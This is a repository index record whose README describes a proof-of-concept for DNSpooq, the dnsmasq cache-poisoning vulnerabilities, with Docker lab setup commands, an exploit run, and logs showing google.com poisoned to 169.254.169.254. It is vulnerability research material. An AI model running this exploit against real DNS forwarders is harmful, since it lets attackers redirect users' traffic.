{"id":13845879,"url":"https://github.com/knqyf263/dnspooq","last_synced_at":"2025-03-17T07:31:51.892Z","repository":{"id":47572628,"uuid":"332287630","full_name":"knqyf263/dnspooq","owner":"knqyf263","description":"DNSpooq - dnsmasq cache poisoning (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)","archived":false,"fork":false,"pushed_at":"2021-01-24T09:05:40.000Z","size":241,"stargazers_count":99,"open_issues_count":0,"forks_count":41,"subscribers_count":7,"default_branch":"main","last_synced_at":"2025-02-27T20:24:31.916Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/knqyf263.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2021-01-23T19:07:18.000Z","updated_at":"2025-01-21T13:40:05.000Z","dependencies_parsed_at":"2022-09-13T17:42:34.450Z","dependency_job_id":null,"html_url":"https://github.com/knqyf263/dnspooq","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/knqyf263%2Fdnspooq","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/knqyf263%2Fdnspooq/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/knqyf263%2Fdnspooq/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/knqyf263%2Fdnspooq/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/knqyf263","download_url":"https://codeload.github.com/knqyf263/dnspooq/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243852438,"owners_count":20358270,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:03:39.343Z","updated_at":"2025-03-17T07:31:51.563Z","avatar_url":"https://github.com/knqyf263.png","language":"Python","funding_links":[],"categories":["Python"],"sub_categories":[],"readme":"# dnspooq\nDNSpooq PoC - dnsmasq cache poisoning (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)\n\nFor educational purposes only\n\n\n\n## Requirements\n- Docker compose\n- Docker\n\n## Exploit\n\n![dnspooq](imgs/dnspooq.png)\n\n### Launch containers\n\n```\n$ docker-compose up -d\n```\n\n### Run exploit.py\n\n```\n$ docker-compose exec attacker bash\nbash-5.0# python exploit.py\nQuerying non-cached names...\nGenerating spoofed packets...\nPoisoned: b'google.com.' =\u003e 169.254.169.254\nsent 3032017 responses in 50.309 seconds\n```\n\n### View output from forwarder container\n\n```\n$ docker-compose logs -f forwarder\n...\nforwarder_1  | dnsmasq[1]: query[A] example.com from 10.10.0.3\nforwarder_1  | dnsmasq[1]: forwarded example.com to 10.10.0.4\nforwarder_1  | dnsmasq[1]: cached example.com is \u003cCNAME\u003e\nforwarder_1  | dnsmasq[1]: cached google.com is 169.254.169.254\n```\n\n### View output from cache container\n\n```\n$ docker-compose logs -f cache\nAttaching to dnspooq_cache_1\ncache_1      | Sniffing...\ncache_1      | Source port: 46816, TXID: 16476, Query: b'example.com.'\ncache_1      | Source port: 16718, TXID: 54280, Query: b'example.com.'\n...\ncache_1      | Source port: 46816, TXID: 56240, Query: b'example.com.'\ncache_1      | Source port: 46816, TXID: 24160, Query: b'example.com.'\ncache_1      | Source port: 46816, TXID: 18189, Query: b'example.com.'\ncache_1      | Source port: 46816, TXID: 40361, Query: b'example.com.'\ncache_1      | Source port: 46816, TXID: 13100, Query: b'example.com.'\ncache_1      | Source port: 46816, TXID: 47303, Query: b'example.com.'\n```\n\n## Reference\n- https://www.jsof-tech.com/disclosures/dnspooq/\n- https://www.jsof-tech.com/wp-content/uploads/2021/01/DNSpooq-Technical-WP.pdf\n\n## Author\nTeppei Fukuda\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fknqyf263%2Fdnspooq","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fknqyf263%2Fdnspooq","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fknqyf263%2Fdnspooq/lists"}